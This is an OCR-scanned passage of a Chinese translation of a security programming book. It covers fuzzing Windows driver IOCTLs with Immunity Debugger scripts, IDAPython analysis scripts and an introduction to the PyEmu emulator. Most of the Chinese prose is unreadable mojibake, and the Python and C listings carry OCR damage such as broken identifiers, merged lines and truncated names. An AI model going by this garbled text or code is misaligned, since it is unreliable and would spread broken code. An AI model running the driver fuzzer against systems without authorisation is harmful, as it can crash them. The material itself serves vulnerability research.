mutated_buffer += struct.pack( "H", random.randint(0, 255) )[0]
counter += 1

return mutated_buffer
def'save test case( self, ioctl code,inbuffer size, in_buffer,
mutated_buffer ):

message = "¥FF¥*FF\n"
message += "[OCTL Code: 0x%08x\n" % ioctl_code
message += "Buffer Size: %d\n" % inbuffer size

message += "Original Buffer: %s\n" % in_buffer
message += "Mutated Buffer: %s\n" % mutated buffer.encode("HEX")
message += "*¥****¥\n\n"
fd = open( self.logfile, "a" )
fd.write( message )
fd.close()

def main(args):
imm = Debugger()
deviceiocontrol = imm.getAddress( "kernel32.DeviceloControl" )
ioctl_hooker = ioctl_hook()
ioctl hooker.add( "%08x" % deviceiocontrol, deviceiocontrol )
return "[*] IOCTL Fuzzer Ready for Action!"

XA FBUEFEHT B Immunity R, H 248K T LogBpHook 28, i 1T 1R/MAF
R IR A TN . RIEARE TR 1, Boniisfis s IWaiK 10CT A4
i, NG XA, MG XA . B IR R AN (AT, G — M T RERD
TR G X, KM X —F . 2B geot X8 5 AR X, R

FEB . e A BB IR 25 T R T o

1E134 ioctl_fuzzer.py JZF| PyCommands H3g T . XFEFRATHLEEL ] ioctl fuzzer
fuzz AR IOCTLs 1 MIRRF (MRERES, Bk, B RAFEAF). 3 10-1 & Wireshark

i) fuzz 4558 .

Hokkokk
IOCTL Code: 0x00120003

Buffer Size: 36
Original Buffer:

0000000000000000000100000001000000000000000000000000000000000000

Mutated Buffer:



a4100338ft334753457078100f78bde62cdc872747482a51375db5aa2255c46e

sheoskoskoskok

seoskoskoskok

IOCTL Code: 0x00001ef0
Buffer Size: 4

Original Buffer: 28010000
Mutated Buffer: abl12d7e6

seoskoskoskok
Listing 10-1: Wireshark [] fuzzing % tH

FERATH — RIEM R GIREABZJ5, £ T KW 7P H B I0CTL AR
0x00001ef0 A1 0x0012003 o U SR E GRS, w6 Z0UA W AN H] PRGN 9 Wireshark #E4T7
AZH., IXAE Wireshark it 3 FHANE IOCTL AQRYS, e fa#rfe Lo ik Horh—> IOCTL 4b#EAY
T o A2 ¥

BARX AR AT B, A SRR IR . AR RAER . 2807, JATFHEA
18 IETE fuzzing W %4, (AR PLE T hook CreateFileW, #AJ5 Ml %24 DeviceloControl
R TR, MNIMEHER RIS %), M H fuzz ) IOCTL RIS IA4, RATEH 8
IR EAT R A BR A, XA e IR B D Re B R A R A BRI . X AR . TR
fIT3AAF B2 — AN NERBH I fuzzer, "B REXTFTAE B IOCTL AN[AIWT Y fuzzing, B 2I/R RS AL
A, BEAEIX AT R I — NI .

XATREN, WTREE, Je MNIRATE KH Immunity #5779 driverlib ZEH- 46 . {# ] driverlib &
MTREMZE IR B AL T BT (1) 2% 4 A IOCTL A5, X S 56 Kt e % e — A = R4
PS4 HAMEH) fuzzer T, X & —MERIHEE, BEEBCNF, AHCEFEE N . Let” s get cracking.

10.3.1 3k H %% 4

F Immunity P& 1 driverlib FE4RH % & AR 2. iLIRATEE driverlib 2 /B4 5L,
AN TRE o

def getDeviceNames( self ):
string_list = self.imm.getReferencedStrings( self.module.getCodebase() )

for entry in string_list:
if "\Device\\" in entry[2]:
self.imm.log( "Possible match at address: 0x%08x" % entry[0], address =
entry[0] )
self.deviceNames.append( entry[2].split("\"")[1] )
self.imm.log("Possible device names: %s" % self.deviceNames)

return self.deviceNames

Listing 10-2: driverlib FE#R H %% £ I 7%



A i RIS A S TR, RS T "\Device\" )T, IX T
Al RE R IRBRE P VEM T RIS B, AR PR AR R R . FRAT R
C:\WINDOWS\System32\beep.sys Ml LA FEH . LU NEAEHAE Immunity H 147,

*#* Immunity Debugger Python Shell v0.1 ***
Immlib instanciated as 'imm' PyObject
READY.

>>> import driverlib

>>> driver = driverlib.Driver()

>>> driver.getDeviceNames()
["\\Device\\Beep']

>>>

PATAR fa7 s ek FH = AT AR 4R B T — AN AT H 1915 %% 44 \\Device\\Beep,iX 4 £ T A1 118
i SO AT AT B ARACRL IR IR] o Simple is Beautiful! F 1% % driverlib &2 i &k IOCTL
dispatch function (IOCTL A %) A1 10 IOCTL codes ( IOCTL Uf5%) .

FEATIR S ESLHL IOCTL # 1, # A ZA — A IOCTL dispatch 41 5 4L BE %7 IOCTL 5 K.
MIRFIPEINE LT 5, 5 — 5 1A B R U & DriverEntry . DriverEntry [ 2AEZR U1 -

NTSTATUS DriverEntry(IN PDRIVER OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{

UNICODE_STRING uDeviceName;

UNICODE_STRING uDeviceSymlink;

PDEVICE_OBIJECT gDeviceObject;

RtlInitUnicodeString( &uDeviceName, L"\\Device\\GrayHat" );

RtlInitUnicodeString( &uDeviceSymlink, L"\\DosDevices\\GrayHat" )

// Register the device

IoCreateDevice( DriverObject, 0, &uDeviceName, FILE DEVICE NETWORK, 0, FALSE,
&gDeviceObject );

/I We access the driver through its symlink

IoCreateSymbolicLink(&uDeviceSymlink, &uDeviceName);

// Setup function pointers
DriverObject->MajorFunction[IRP_ MJ DEVICE CONTROL] = IOCTLDispatch;
DriverObject->DriverUnload = DriverUnloadCallbac
DriverObject->MajorFunction[IRP_MJ CREATE] = DriverCreateCloseCa
DriverObject->MajorFunction[IRP_ MJ CLOSE] = DriverCreateCloseCa

return STATUS SUCCESS;

Listing 10-3: DriverEntry /] C JEf%sZI



Kot — AR H R DriverEntry AUTSHESE, (HZ IR EDUL AU B 1 304 /2 an T Wl a6 4L 1.

EE RN IXAT:
DriverObject->MajorFunction[[RP. MJ DEVICE CONTROL] = IOCTLDispatch

X475 R0 Bh 4% IOCTLDispatch 1 5T IOCTL iR . M— AN IKsh2dn it iis, X
AT AR I G D ARG A T

mov dword ptr [REG+70h], CONSTANT

XA E LA Rk, REG Il CONSTANT #2445, TOCTLDispatch 15414
Wi 7% 75 (REG) AL #% 0x70 [ 7 b o X e 4, FRATHLAER tH 10CTL 4k #EAR G
CONSTANT, /& IOCTLDispatch, 23 i N H IOCTL A%, driverlib [ R A& SE
b/

def getlOCTLDispatch( self ):
search pattern = "MOV DWORD PTR [R32+70],CONST"

dispatch_address = self.imm.searchCommandsOnModule( self.module
.getCodebase(), search_pattern )

# We have to weed out some possible bad matches
for address in dispatch address:

instruction = self.imm.disasm( address[0] )

if "MOV DWORD PTR" in instruction.getResult():
if "+70" in instruction.getResult():
self.IOCTLDispatchFunctionAddress = instruction.getlmmConst()
self.IOCTLDispatchFunction =
self.imm.getFunction( self.IOCTLDispatchFunctio
break
# return a Function object if successful
return self. IOCTLDispatchFunction

Listing 10-4: £ ! IOCTL dispatch function [ 7572
BN Immunity OB 53— R A EE R EEE R JE, AN JE AR, — BRI

TEERERE, BB XANERET SR A, fEJGTH IOCTL RIS &k A KB HE .
N1 >k%E & IOCTL dispatch [ &0 Gn A SEELIFT, BLR anfal 25 4% BT 1 TOCTL 4845,

10.3.3 3 5 IOCTL /g



IOCTL dispatch 45 E N\ A (51 /& IOCTL ARHD)PATAH B 4 o X2 FRA T T 7
it ER YA IOCTL KGR, A IOCTL HiAd 24T H B SR s . LA
JoE—BH C SEELA IOCTL dispatch, < Ja AL EA1, FHMH R H IOCTL 48,

NTSTATUS IOCTLDispatch( IN PDEVICE _OBJECT DeviceObject, IN PIRP Irp )
{

ULONG FunctionCode;

PIO_STACK LOCATION IrpSp;

// Setup code to get the request initialized

IrpSp = IoGetCurrentlrpStackLocation(Irp); FunctionCode =

IrpSp->Parameters.DeviceloControl.IoControlCode;

// Once the IOCTL code has been determined, perform a

// specific action
switch(FunctionCode)

case 0x1337:
/I ... Perform action A
case 0x1338:
/I ... Perform action B
case 0x1339:
/I ... Perform action C
H
Irp->loStatus.Status = STATUS SUCCESS;
IoCompleteRequest( Irp, IO NO_INCREMENT );
return STATUS SUCCESS;
H
Listing 10-5: — Bt f& . [¥) IOCTL dispatch {15 3 # = IOCTL 4R £ (0x13370x1338,
0x1339)

4B N TOCTL i85 3R i R ) IOCTL ARRG B %, SRR AL 264 switch {}iB4), 2R
JEHRHE IOCTL (SRS AT AE B (R ERAE « switch IEAJLEI % 2 J5 6 Al BE 2 DL R ATE R .

// Series of CMP statements against a constant

CMP DWORD PTR SS:[EBP-48], 1339 # Test for 0x1339

JE 0OxSOMEADDRESS # Jump to 0x1339 action

CMP DWORD PTR SS:[EBP-48], 1338 # Test for 0x1338

JE 0xSOMEADDRESS

CMP DWORD PTR SS:[EBP-48], 1337 # Test for 0x1337

JE 0xSOMEADDRESS

// Series of SUB instructions decrementing the IOCTL code

MOV ESI, DWORD PTR DS:[ESI + C] # Store the IOCTL code in ESI
SUB ESI, 1337 # Test for 0x1337

JE 0OxSOMEADDRESS # Jump to 0x1337 action



SUB ESI, 1 # Test for 0x1338

JE 0OxSOMEADDRESS # Jump to 0x1338 action
SUB ESI, 1 # Test for 0x1339
JE 0OxSOMEADDRESS # Jump to 0x1339 action

Listing 10-6: P A [F] ) switch{} I %k 15 <

switch{} HISICHTELAREM, A HH LK S Epfh. £5 Mo, &
AITAT DU IS — 2551 (1) CMP 484, #RENFAT BN &, X2 IOCTL AR5, 2 —FhiE
oL, MR R, Bl — R SUB fE 1AM SEBl. RBEM— 4T R -

SUB ESI, 1337

X A7 &R 7 3AT, H/NE) IOCTL AR5 /2 0x1337. X HLITAR, 0x1337 fE N —1
W, BT SUB #8402 2 /b, FAEHUIN 12220, B sk B3 LA 9 — 4S8 8 TOCTL
G, AW 2R, B3 switch £50 . BARSIN AT LA Immunity H 3% T [ Libs\driverlib.py.
A% E L4 T TOCTL dispatch #1717 ) IOCTL codes.

LAE driverlib NFRATFERR T B NE i BI0TG . £ FORIERAIME SR E ! ] driverlib
LR BN L Y b BT £ 44 L TOCTL AR, I B 25 RARFEF Python pickle H. 35
‘BEAIIM#E IOCTL fuzzer. Let’ s get fuzzy!

10.4 1% Driver Fuzzer

% — P 1E 58 i PyCommand:IOCTL-dump.

#ioctl_dump.py
import pickle
import driverlib
from immlib import *
def main( args ):
ioctl list =[]
device list =]
imm = Debugger()
driver = driverlib.Driver()
# Grab the list of IOCTL codes and device names
ioctl_list = driver.getlOCTLCodes()
if not len(ioctl list):
return "[*] ERROR! Couldn't find any IOCTL codes."
device_list = driver.getDeviceNames()
if not len(device list):
return "[*] ERROR! Couldn't find any device names."
# Now create a keyed dictionary and pickle it to a file

master list = {}



master list["ioctl_list"] =ioctl list
master list["device list"] = device list
filename = "%s.fuzz" % imm.getDebuggedName()
fd = open( filename, "wb" )
pickle.dump( master_list, fd )
fd.close()
return "[*] SUCCESS! Saved IOCTL codes and device names to %s" % filename

XA~ PyCommand AH4fii Hi: f % IOCTL A %113R, MR ELIIER, HAAITFERTF
o, SR RAFISCH B . RN R EAE Immunity B2 479 A% lioctl dump,
pickle i 2 R 73] Immunity H3% T

JiFE 2 HUR fuzzer. $% T KAk /& coding and coding, FRATSEILAIXAS fuzzer £5)5E [
PRAGITE NAFE R AP X, Ay R R IR A 5 1.

#my_ioctl_fuzzer.py
import pickle
import sys
import random
from ctypes import *
kernel32 = windll.kernel32
# Defines for Win32 API Calls
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING =0x3
# Open the pickle and retrieve the dictionary
fd = open(sys.argv[1], "rb")
master list = pickle.load(fd)
ioctl_list =master list["ioctl list"]
device list = master list["device list"]
fd.close()
# Now test that we can retrieve valid handles to all
# device names, any that don't pass we remove from our test cases
valid_devices = [] for device name in device_list:
# Make sure the device is accessed properly
device file = u"™\\.\\%s" % device name.split("\\")[::-1][0]
print "[*] Testing for device: %s" % device file
driver _handle =
kernel32.CreateFileW(device file, GENERIC READGENERIC WRITE,0,None,OPEN_EXISTI
NG,0,None)
if driver_handle:

print "[*] Success! %s is a valid device!"
if device file not in valid_devices:
valid_devices.append( device file )



kernel32.CloseHandle( driver handle )
else:
print "[*] Failed! %s NOT a valid device."
if not len(valid_devices):
print "[*] No valid devices found. Exiting..."
sys.exit(0)
# Now let's begin feeding the driver test cases until we can't be
# it anymore! CTRL-C to exit the loop and stop fuzzing
while 1:

# Open the log file first

fd = open("my _ioctl fuzzer.log","a")

# Pick a random device name current device = valid devices[random.randint(0,
len(valid_devices)-1)]

fd.write("[*] Fuzzing: %s\n" % current_device)

# Pick a random IOCTL code current_ioctl = ioctl list[random.randint(0,
len(ioctl_list)-1)]

fd.write("[*] With IOCTL: 0x%08x\n" % current_ioctl)

# Choose a random length current length = random.randint(0, 10000)

fd.write("[*] Buffer length: %d\n" % current_length)

# Let's test with a buffer of repeating As

# Feel free to create your own test cases here

in_buffer ="A" * current_length

# Give the IOCTL run an out_buffer

out buf = (c_char * current_length)()

bytes returned =c_ulong(current length)

# Obtain a handle

driver_handle = kernel32.CreateFileW(device _file,

GENERIC_READI|GENERIC_ WRITE,0,None,OPEN_EXISTING,0,None)
fd.write("!'FUZZ!\n")
# Run the test case
kernel32.DeviceloControl(  driver_handle, current ioctl, in buffer, current length,
byref(out buf), current_length, byref(bytes returned), None )
fd.write( "[*] Test case finished. %d bytes returned.\n\n" % bytes returned.value )

# Close the handle and carry on!
kernel32.CloseHandle( driver handle )
fd.close()

e pickle SCEF A E B E IOCTL ARRS R 25 44 - ik . MABIZR Hh 48 HY BE W3R4T F)
M4 . WERTCIEREL, TR R . B LG — s 4 M 10CTL i, €1



AR EERIZ M X . B IOCTL KIA%4 3R] .
il FH AT i 34T fuzzing.

C:\>python.exe my_ioctl fuzzer.py i2omgmt.sys.fuzz

W fuzzer crash T AL, FRATTREGSIR LN IZRA K1 IOCTL ARAS . £z 2 i 0K
7. £ 10-7 BRMEUE — N RENIKSH fuzzing T FE .

[*] Fuzzing: \\.\unnamed

[*] With IOCTL: 0x84002019

[*] Buffer length: 3277

NFUZZ!!

[*] Test case finished. 3277 bytes returned.
[*] Fuzzing: \\.\unnamed

[*] With IOCTL: 0x84002020

[*] Buffer length: 2137

NFUZZ!!

[*] Test case finished. 1 bytes returned.

[*] Fuzzing: \\.\unnamed

[*] With IOCTL: 0x84002016

[*] Buffer length: 1097

NFUZZ!!

[*] Test case finished. 1097 bytes returned.
[*] Fuzzing: \\.\unnamed

[*] With IOCTL: 0x8400201c¢

[*] Buffer length: 9366

NFUZZ!!

Listing 10-7: — X fuzzing id3%
RIS ED], F—/ I0OCTL, 0x8400201c 3| R T A4 ik, KX EHiE—%

e HATNIEFRAT fuzzer 1R W5, (HARRER, A DLUB AWK B IhEE, e Eimk.
Hrp—/NTRER VAL A&, InBufferLength 83 OutBufferLength %15 & AN SLFrfE N

KO KR — k. TRiRBek 2 e, w1 destroy all drivers in your

path!
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IDAPYTHON——IDA
I A%

IDA Pro(ii & & Ilfak Guilfanov) L E 5% K [K1E A 4 Hr Dh 86 24
2B T R TREEE. iIbRAIEEERSES,

Hex-Rays SA (fi 8- 2E/R). DA 14 ORI KL HOP & LIgfT, R AH A

WP E B R, FRRAE T — AN E RS . IDA KRR JT R H R K Y,
fHt T IDC(IDA A )M SDK(AETF R #H & J5 i IDA 4difF).
2004 4 Gergely 1 Ero Carrera ¥ & | IDAPython #i{t, ¥4 5% K¥) Python F1 IDA 45 &t
ko, M1 E ST AS e E TR . T W14 IDAPython #% 32 B A A T & Fh R I
(Zynamics [ BinNavi) F1 FFJE T# ( PaiMei Al PyEm) . iX—&, HRAJTE%S
IDAPython(LA IDA Pro 5.2 24 HAR) 4¢3 DU K B 221 ek B AT, A Jmad o LA a7 52 i 49 1
HE— 2K IDA AL Hr .

11.1 %% IDAPython

M http://idapython.googlecode.com/files/idapython-1.0.0.zip F#FA T 75 B A E46 . XA
R EL 8, BEAIK K 22 % idapython-1.2.0 ida5.4 py2.5 win32.zip FIRAS, XANRAS /] DL
FT ida5.5.

NHESEE RS, ¥ 3 HE N python XY, HHiF] IDA FIzFEHRT (BN
C:\Program Files\IDA), ¥ plugins H 3 T python.plw & il %] IDA [¥] plugins H % F (ERIAN
C:\Program Files\IDA\plugins. ).

B4 IREN IDA, B RN — N THAT SO, — BAIRT 5E G, k2 SRR 0 H
H % DA 7 IDAPython M5 &, 188 AN IS E & A2 L. W 11-1.



Loading IDP module CisProgram FileshsIDawprocshpc.w3z for processor metapc...0k
Loading type libraries...

Autoanalysis subsystem has been initialdized.
Database for Tile 'calc.exe' is loaded.

Campiling file "Z:“Program Files“IDANidcwida.ido'...
Executing function 'main'...

IDAPwLhOR wersion 1.0.0 final (serial 001 initialized
Pywthon interpreter wersion 2.5.2 Tinal (serial 0]

al: idle Down  |Disk: 9GE |
Figure 11-1: IDAPython %) &3 2 J5 i IDA Pro HI¥IIHLIE B

FESCAFSR Bl 276 B 22 PSR T, s 11-2

= Open...

Load file L4
Broduce file L4

IDC file...

IDC command... Shift+F2
Python file... Alt+9
Python cornmand... Alt+8

I save Ctrl+W
Save as...

Close

Figure 11-2: IDAPython 2% %55 ] DA Pro L3R H

FEAFIE T4 7] /& Python file 1 Python command, M KELT T . WHEGEWHAT
—AME HLH) Python it 4, N HL; Python command 30, 2 HI—ANE 1, BN 25,
,jnA IDA [P & A B 45 5. Python file JETUH T 047 S0 7. ] IDAPython A, XH

BLEH M. S IDAPython D& Ze%E, JEHIE® TAE, BN RKILRAT TAET
%)ﬂﬁ@ DAPython 8% .

11.2 IDAPython 3%

IDAPython %77 i) FT A [ IDC A%, RATA AN H—Le 25 2, SN2 J5 11 IDAPython
A g S i Al . IDC B 100 ZANEEL, G D4R 19 AT ARE S HE 5T .

11.2.1 % F R 3

LA £ R H50HT 2 78 20 5 R AS PR I i W P 80600

ScreenEA()
SREUIDA A D, YebsdE ARG bl . S8R AN R, AT R N — AN
) B AT FA TR AR



GetInputFileMD5()
R [A] IDA M) — 2 SCAF ) MDS5 {H, 85 X AME RE A i — D SO AN R ARCA 2 75
CECE

11.2.2 B

7E IDA P 3B SO o B T AR B, XS BRI Thae 0 i 17 AR 2R A (CODE,
DATA, BSS, STACK, CONST,XTRN). PLF B T o3k 58 fh B s B .

FirstSeg()
VIR — B

NextSeg()
Vil ™ —ANBL, R A Bk Bl BADADDR.

SegByName( string SegmentName )
iR B AL R m B L, 28N, n R text AE S HL, S iR R R AR B T 4R
(A=

SegEnd( long Address )
T B AN ik, SRAF BRI HbAE .

SegStart( long Address )
BB A R A L, SRS Bk k.

SegName( long Address )
IS BN A, RSB A

Segments()
R[] 5 AR R A BT aa i .

11.2.3 F 3

TEA TR REFE P IR A R € RN T, R B g rh > 22 W R A e A S T
1 b o T AL B R BOIEH A

Functions( long StartAddress, long EndAddress )
R E—AHF, A2 T M StartAddress 2] EndAddress 2 [8]H B B4

Chunks( long FunctionAddress )



RE—ANFIR, A5 TREA B BNFIRTAZE—4Jc4l (chunk start, chunk end)

LocByName( string FunctionName )
Bl pUNTSE A E BT ENSE -V gEia:chel 8

GetFuncOffset( long Address )
AT R AN, SR 15 B A L P J ) RR B DA R4 E Mt R e AR X L A
SR IG5 B T4 R LA AR T R [

GetFunctionName( long Address )
T — AL, IR [FX AN ik B TR A

11.2.4 22 X 5] H

FRA AR RS (952 B, A2 70 M SCAFIRAT TR AR E 2L, JEH AT M /%
AR I, B H AR E PR b IRE — MRS b s, X W N4 IDA
WRIR 22 A0 ) TRE I £ 38 B JR K . IDAPython #2481 — KHE & HUH T % A X5 H . e
PRl A& T T LA

CodeRefsTo( long Address, bool Flow )
REI =G, HYFRAT Address AAAISHEAH A7 51 T, Flow 5 ¥ IDAPython 72 15 %
PREFIZLLARHT

CodeRefsFrom( long Address, bool Flow )
RE—DAER, HUFERAT Address Huhb F {4 CRE 5] A Ak 4GRS

DataRefsTo( long Address )
BB =0, EUFRAT Address ALEHRBAT A5 7. WA TRE 2 RLE.

DataRefsFrom( long Address )
RE—AFIR, EHUFERAT Address Huhik b ARRD 51 A] Ak i 20

11.2.5 Debugger Hooks

Debugger Hook J& IDAPython #2155 — AN EHEEFIDIEE, T Hook 13 IDA &
WA, AR S A FA . B IDA — AR TRIRES, H2 4TI
iz, WH IDA WS TRR S L2 L AMBI S T ER 2 . 2 EFATSH debugger hooks Al & —
MRS s R e it T E . {1 debugger hook 2 B, JCBWE/K—— hook 4R 5 7E35 B 3k
SE ST AN R ) Ab 24 B 2



class DbgHook(DBG Hooks):
# Event handler for when the process starts
def dbg process_start(self, pid, tid, ea, name, base, size)
return
# Event handler for process exit
def dbg process_exit(self, pid, tid, ea, code):

return

# Event handler for when a shared library gets loaded

def dbg_library load(self, pid, tid, ea, name, base, size):
return

# Breakpoint handler

def dbg_bpt(self, tid, ea):

return

XK T IRAVEC R BUAAT, 2205 HI B U AR A B R #2225 hook
{75 Kk

debugger = DbgHook()
debugger.hook()

HLAEIZ ATV 2% hook S HL BT (TR REAE, S5 RE st AR % KT P IDA i3S
I T A R A R R A A A
AddBpt( long Address )

FEFR 7€ B R0 R I8

GetBptQty(
S I 24 7 5 O A A

GetRegValue( string Register )
I A AR ARG A AR A

SetRegValue( long Value, string Register )
BE T AT B AH

11.3 JE A5

AV — L m g W BN A . 25, KREeUEIEERE B9 e,
BE— P eI RE SRR K, F R TR I o R R I AR o e UAC B A 5 ek 0 o
5, LLKH IDA 1) debugger hook M Ml ek AL AR 7E 25 %, A AT BB K1



11.3.1 WL EK R A HE S

H— IR FAEFERETARIE bug BIRHE, a2 — 205 AR B2 5 R
PR, LR AN GRS 1) 745 5 5 UL BB B (strepy, sprintf), WAZFE UL B # (memepy) 55 . 7EIRATH %
TP IS i, 75 AR a7 B ik X e pR B TR IIAS R BREZ I S8 A 5 () R 25, 4k R A
Hemth )y, 2 Jafeix et i st B A RIS, FRATE IDA & 1t aeiR i
fEE K.

#cross_ref.py
from idaapi import *

danger funcs = ["strcpy","sprintf","strncpy"]
for func in danger_funcs:
addr = LocByName( func )
if addr '= BADADDR:
# Grab the cross-references to this address
cross_refs = CodeRefsTo( addr, 0)

print "Cross References to %s" % func

"

print "
for ref in cross_refs:

print "%08x" % ref

# Color the call RED

SetColor( ref, CIC_ITEM, 0x00001f)

FATHC RIS GG R B bk, SR 5 IR Se b bk ()G M . 26 SR A e pR A 1 32 X5
HEE, #iMtatth sl 7eEfll, sEEEiIFTE kR, I IDA haeflbt. He
A2 135016 war-ftpd.exe fGR H bx, K& 200 B

Cross References to sprintf

004043df
00404408
0040449
00404810
00404851
00404896
004052cc
0040560d
0040565¢
004057bd
004058d7

Listing 11-1: cross_ref.py % H



T X S A SR R B FR S sprintf A5 AT, W RAE IDA Hh ) Xt bl
SFFCATE E T 6, wE 11-3.

loc L428200:

mou eax, [ebp+arg_#a]
1ea ecx, [ebp+Dest]
push eax

push offset aGoonlineCreate ; "GoOnline{): Create(%d) failed.™

iu5h ECX ; Dest

add esp, OCh

lea ecy, [ebp+Dect]
mouv eax, dword 4SLAECY
push eCx

mou esi, [eax]

push 2

mowy ecCx, eax

call dword ptr [esi+A4Ch]
Figure 11-3: sprintf i Fi#it cross_refpy A2 )5

11.3.2 KFEER

TEHAT BN T B, B B 3RAT S AT R 2 AT A QRSP AT Y, dEFEZE. T
T A WA 28 T8 3 ik — M A, 3002 A0 FH SR B 28 AT — 4 SOy, ARRS 78 26 ZR H R
BAVRLFW 7 fF, TP T 4. T, FRATEH IDAPython $RELH bR (1 A R 4,
Ft HAE R R B PR AL # 3 B AT T 55 . 2 J51284T IDA iR#%, debugger hook & i4f—
R IT Rk A PR A 0 AT

#func_coverage.py
from idaapi import *
class FuncCoverage(DBG_Hooks):
# Our breakpoint handler
def dbg_bpt(self, tid, ea):
print "[*] Hit: 0x%08x" % ea
return
# Add our function coverage debugger hook debugger = FuncCoverage()
debugger.hook()

current_addr = ScreenEA()
# Find all functions and add breakpoints

for function in Functions(SegStart( current addr ), SegEnd( current addr )):
AddBpt( function )



SetBptAttr( function, BPTATTR FLAGS, 0x0 )
num_breakpoints = GetBptQty()

print "[*] Set %d breakpoints." % num_breakpoints

H— 4¢3 debugger hook , IR AL BBk 22 PR & BRI BT A R L
ok, FERRSHbE B E W . SetBptAttr FiFURIAAE, BB NS, AHE TR, 4k4k
PAT; WREAAXFEM, IBRATAEF TRE RS 17, ARILEWBLI. 55—
ENH T A WS s . 2 — Wi 2 f %, debugger hook LI W i Ab B pR £t & T
B AT, XNk AR & ea $RAE, B51H 4HT EIP B 748 MME . IAEIE AT 8
(AR F9), R¥GTE 28 1B BT A BB PAT T, DL ENIHAT I -

11.3.3 iFER KD

A I G BATR— AR P REAT IR IR VAl B, 17 A B B0 AT AR RN AR E Y . 3
LI I TS, %45 PR — MR EHEZ BE I IO PR X, RS2 ¥, BATEL
SRR, e A% i 22 /0 Bl 45 8 BEIE NS PR MRS, AR TR IR TR AR A
Ao N HIFRATH — B A AR 7E I TUE 55 BORTE R th T I RR 3L SRR USRI L R 2
MIRRAE B, I SRR G o XO/INFF S BRATHIZER, BT B HE R o R T 6 IR T 6 AL AS 45 a2k,
TV RELE KRR I, AR RO BRER U O R ) pR B

#stack_calc.py

from idaapi import *

var_size threshold =16
current_address = ScreenEA()

for function in Functions(SegStart(current address), SegEnd(current address) ):
stack frame = GetFrame( function )

frame counter = 0

prev_count =-1
frame size = GetStrucSize( stack frame )
while frame counter < frame_size:

stack var = GetMemberName( stack frame, frame counter )



if stack var !="":
if prev_count !=-1:
distance = frame_counter - prev_distance
if distance >= var_size threshold:

print "[*] Function: %s -> Stack Variable: %s (%d bytes)" %

( GetFunctionName(function), prev_member, distance )

else:
prev_count = frame_counter
prev._member = stack var
try:
frame counter =  frame counter +  GetMemberSize(stack frame,
frame counter)
except:

frame counter += 1
else:
frame counter += 1

BATRE T — DA, AR E MR D RAGEETATF R X ERER
16 7T, A RFEWAT PSR T S MARK K NEERTNEE R 556, mHRBE
IR E, BB BB ARAEZEX R . WA GetStrucSize THAEHARMESLI R/ o HAETEIL
AR P AR B ORI &, bR TR B B A T — MR E. e
(] ) ZE A V5 AR B 4R (0 22 TR R/ e SR O/NIE R, AT ED R, WERANIE K, 2 ilit
FARTARRIN, RIEM EARTRAE, B2 MR E. R ICER IR K
sy TAE 24 AL B I — A, BEh BT — ML E, RS GRSEI . AT,
PV RETE B METE R T %

[*] Function: sub 1245 -> Stack Variable: var C(1024 bytes)
[*] Function: sub_149c¢ -> Stack Variable: Mdl (24 bytes)
[*] Function: sub_a9aa -> Stack Variable: var 14 (36 bytes)
Listing 11-2: stack_cale.py %

DAEFATA T IDAPython [EERRAIN, FIB B FLI T ILMEEST EBIMA . X
S N NEIRIAS, K FEIRATT A AR Z R, R TR, REARE . FEikR
115 —% IDAPython f{SZPrN ] : PyEmu, — T Python [¥) x86 17 EL#% .



12

PyEmu

PyEmu i Cody Pierce(TippingPoint DVLabs team) T
2007 £ RIE A= EHIRAA . PyEmu 2—"{# Python SCILH
1A32 i 52§, FTHiE CPU W& FMIT N LLERA R LS. 75
HBEEEH, inEEERE R, RITRAHEERZET
B, MEREGMES KR EAERINMENFEFZ1T. PyEmu
H & = 4 % :IDAPyEmu, PyDbgPyEmu #! PEPyEmu .

IDAPYyEmu F T-7£ IDA Pro P 58 & Ff BAE 4% (it DAPython ¥,

PEE 11 55, PyDbgPyEmu JSH TEIA /T, [FIBSE S0 VA FRAT 30 1 1 P A7 R 2 A7 25
PEPyEmu 28 /& — /MM ER A T, AT IDA B 5e SURIC AT 5. BA1FEANH
IDAPyEmu Al PEPyEm, % K] PyDbgPyEmu ¥4 AKX H CERK. FHEHJEM PyEmu %
BIUG, HEIRNNBTHZRIIZEN, D SL RS AT 1 %

% %% PyEmu

M http://www.nostarch.com/ghpython.htm T #E & 18 4F 1 S, Wi R A R 2% %
googl e code [T,

AR GRS, fREE] C:\PyEmu. BRI AN PyEmu AR5, E#EMALL TR AT
Python f{Ai5:

sys.path.append(" C:\PyEmu\")
sys.path.append(" C:\PyEmu\lib")

P RALIRA A T # T PyEmu (R G20, Ji 8 /a MK ARS .

122  PyEmu —'%



PyEmu # %) = ANHEE R R %: PyCPU, PyMemory 1 PyEmu. 5&RAIZ H &% K
W& PyEmu 28, B 1 PyCPU fil PyMemoey 42 H.5€ UK Z T B TAE . 43 A TR IK 3]
PyEmu 47—/ MEA M, &t PyCPU 58 i B IE 38 2 #:1F . PyCPU fEHEAT R4 #
TERIEIE, 7 BN AFE/E S JF PyEmu, H PyEmu Zk%218 H PyMemory i Bh 5¢ i8N 45
A WA, 55 H PyEmu #fa 4 145 Rk Rl R .

Rk, RIRANIBRN TR N ST REABATRE 7%, DUE 5 4 4 B AR
PyEmu B IATTEMK 1 A4, RIS REX SR B A A WIBS ) T i

12.2.1PyCPU

PyCPU 2572 PyEmu %0, B RAE L CPU —FF . 05 A, &Mt
PATIES . 4 PyCPU B —/NMEL BB, SR A4 ( A sFE& a1 IDA
Pro/PEPYEmu 55 1 57 8 & AR ] PyDbg 3KH), SR G H 8 1L 1845 pydasm, Hi G # fEhD il
ERAERD AR B . PyCPU $2 (7 i i 48 2 1 RE 711815 PyEmu BII5-F- 678 5 1 I BE.

/> PyEmu IR B IFE 4, & —MEX BN R A 251, WA R4 CMP
EAX ,1 1% PyCPU, ## PyCPU s il PyCPU CMP() iR B AT E IE HIHRAE, I A 77
MRVERME, ZJ5RE CPU MFRENL, HIFERFXIKELE L R, B 2R &AL H T Lo
F7& PyCPU.py, I 1) PyEmu SZRFIIHE A A0 HE s 0 #0 70X B, @ i i 75 e 411 mT BABH 1 CPU
F2 WAL 58 SIS LS s AR RIS Z R AR 1 o AR ORI T ietE,  Cody fEIX B TH /D4R 5K

12.2.2 PyMemory

PyMemor 1 53 ARk A7 AT 152 F 0 ZEHHE o[RS AT DU TSR AT 72 e (A QRS A
PEPHEAT IS, MEAE T H A P U7 1) o FERE SE A EEERZ A, iR BRATE B %02 PyEmu,
PR AR RIS TT i

12.2.3PyEmu

PyEmu 7t 5t Jx ) 8 LA WIS 1E. PyEmu KA S8 AR B E M R, (57
